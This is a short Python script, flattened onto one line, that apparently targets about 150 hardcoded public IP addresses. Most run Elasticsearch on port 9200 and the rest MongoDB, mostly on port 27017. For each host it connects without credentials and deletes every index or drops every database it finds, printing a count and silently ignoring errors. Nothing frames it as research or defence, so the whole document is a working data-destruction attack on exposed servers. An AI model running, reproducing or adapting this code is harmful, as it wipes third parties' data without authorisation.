from elasticsearch import Elasticsearch import pymongo, random i=1 ips={'5.200.57.250': '443', '84.201.165.2': '9200', '94.228.127.165': '9200', '83.137.50.96': '9200', '95.143.189.4': '9200', '89.223.71.65': '9200', '185.87.194.58': '9200', '51.250.88.172': '443', '83.220.173.132': '9200', '45.130.43.37': '9200', '158.160.29.16': '9200', '94.241.141.60': '9200', '5.188.118.71': '9200', '84.38.188.165': '9200', '158.160.151.184': '9200', '84.201.184.25': '9200', '62.152.38.151': '9200', '87.239.109.65': '9200', '62.84.120.205': '9200', '89.23.117.245': '9200', '5.101.159.14': '9200', '83.147.246.202': '9200', '178.154.252.188': '9200', '89.223.68.38': '9200', '86.110.212.30': '9200', '45.131.98.185': '9200', '188.120.239.162': '9200', '176.122.23.22': '9200', '195.93.252.19': '9200', '31.184.225.75': '9200', '89.108.115.30': '9200', '31.184.215.121': '9200', '185.204.2.65': '9200', '188.225.33.34': '9200', '158.160.62.129': '9200', '31.186.102.50': '9200', '188.124.54.203': '9200', '84.201.177.30': '9200', '176.57.211.113': '9200', '193.164.149.3': '9200', '62.113.106.63': '9200', '185.240.103.52': '443', '82.146.33.228': '9200', '130.193.62.70': '9200', '185.43.5.38': '9200', '82.202.160.89': '9200', '185.189.12.226': '9200', '185.149.240.210': '9200', '158.160.65.25': '9200', '46.148.233.90': '9200', '45.12.238.4': '443', '149.154.70.79': '9200', '185.26.28.130': '9200', '62.84.115.143': '9200', '62.84.121.171': '9200', '87.242.94.117': '9200', '84.201.140.241': '9200', '212.57.122.170': '9200', '217.173.69.158': '9200', '158.160.40.122': '9200', '188.225.86.225': '9200', '45.12.18.90': '9200', '93.174.51.142': '9200', '77.232.138.106': '9200', '188.120.246.32': '9200', '194.150.88.90': '8080', '185.17.9.75': '9200', '77.223.118.209': '9200', '158.160.47.147': '9200', '82.146.58.202': '9200', '176.123.168.176': '9200', '45.84.224.33': '9200', '92.255.108.30': '9200', '176.99.7.28': '9200', '194.67.113.69': '9200', '158.160.87.184': '9200', '109.248.250.36': '9200', '62.109.28.55': '9200', '185.143.173.12': '9200', '213.189.219.182': '9200', '176.215.178.87': '10001', '90.156.219.5': '9200', '217.23.134.49': '9200', '158.160.140.42': '9200', '130.193.57.232': '9200', '84.201.157.72': '9200', '188.124.50.246': '9200', '93.88.76.49': '9200', '158.160.155.50': '9200', '185.240.103.234': '9200', '158.160.144.241': '9201', '194.67.110.145': '49153', '178.161.130.227': '9200', '51.250.105.210': '9200', '89.223.125.45': '9200', '188.225.45.242': '9200', '51.250.86.190': '9200', '80.78.240.132': '9200', '185.10.45.137': '9200', '188.124.41.149': '9200'} for n in ips.keys(): try: es = Elasticsearch('http://' + n + ":" + ips[n]) inds=es.indices.get_alias().keys() for idx in inds: try: es.indices.delete(index=idx, ignore=[400, 404]) print(str(i) + ": " + idx) i=i+1 except: foo=3 except: foo=4 ips={'188.162.223.205': '27017', '83.69.176.5': '27017', '62.109.28.124': '27017', '145.255.5.158': '27017', '81.30.216.8': '27017', '81.30.187.5': '27017', '158.160.114.111': '27017', '185.178.46.110': '27017', '195.135.215.221': '27017', '92.50.151.118': '27017', '194.87.214.71': '27017', '193.106.111.90': '27017', '176.53.182.171': '27017', '80.87.192.59': '27017', '84.237.50.44': '27017', '178.21.8.84': '27017', '91.213.141.24': '27017', '51.250.103.38': '27017', '195.206.40.123': '27017', '83.69.177.2': '27017', '83.149.210.101': '27017', '158.160.115.78': '27017', '89.235.136.118': '27017', '80.252.136.34': '27017', '81.30.182.194': '27017', '62.140.247.43': '27017', '83.220.173.230': '27017', '79.174.93.135': '27017', '62.140.247.44': '27017', '91.202.165.150': '27017', '213.5.108.20': '27017', '136.169.170.54': '27017', '83.69.177.1': '27017', '62.109.1.242': '27017', '188.120.255.246': '27017', '94.41.65.228': '27017', '89.20.57.17': '27017', '188.93.209.3': '27017', '84.252.140.202': '27017', '213.170.110.171': '27017', '51.250.11.231': '27017', '46.17.44.37': '27017', '51.250.102.183': '8081', '45.138.163.158': '9091', '213.159.209.89': '9002', '81.94.159.99': '8081', '5.180.136.186': '8081', '84.201.157.77': '7081', '195.208.250.3': '5001', '84.201.135.65': '8081', '109.248.206.158': '8081', '51.250.10.92': '8081', '109.172.90.192': '8081'} for n in ips: try: mn = pymongo.MongoClient(n, int(ips[n])) for db in mn.list_databases(): try: mn.drop_database(db["name"]) print(str(i) + ": " + db["name"]) i=i+1 except: foo=5 except: foo=6